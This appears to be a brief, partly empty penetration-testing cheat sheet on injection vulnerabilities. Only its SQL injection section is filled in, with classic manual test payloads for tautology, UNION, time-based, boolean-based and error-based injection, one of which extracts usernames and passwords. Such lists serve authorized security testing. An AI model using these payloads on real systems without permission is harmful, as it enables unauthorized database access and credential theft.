Injection vulnerabilities
SQL Injection (SQLi)
Manual Testing:
1. Basic tests
' OR '1'='1' --
' OR '1'='1' /*
') OR ('1'='1
2. Union-based
' UNION SELECT NULL, NULL, NULL --
' UNION SELECT username, password FROM users --
3. Time-based blind
' AND SLEEP(5) --
' AND IF(1=1, SLEEP(5), 0) --
4. Boolean-based blind
' AND 1=1 -- (True)
' AND 1=2 -- (False)
5. Error-based
' AND 1=CONVERT(int, (SELECT @@version)) --Automated
Cross-Site Scripting (XSS)
Automated
Command Injection
XML External Entity (XXE)
Server-Side Request Forgery (SSRF)
Local/Remote File Inclusion
Last updated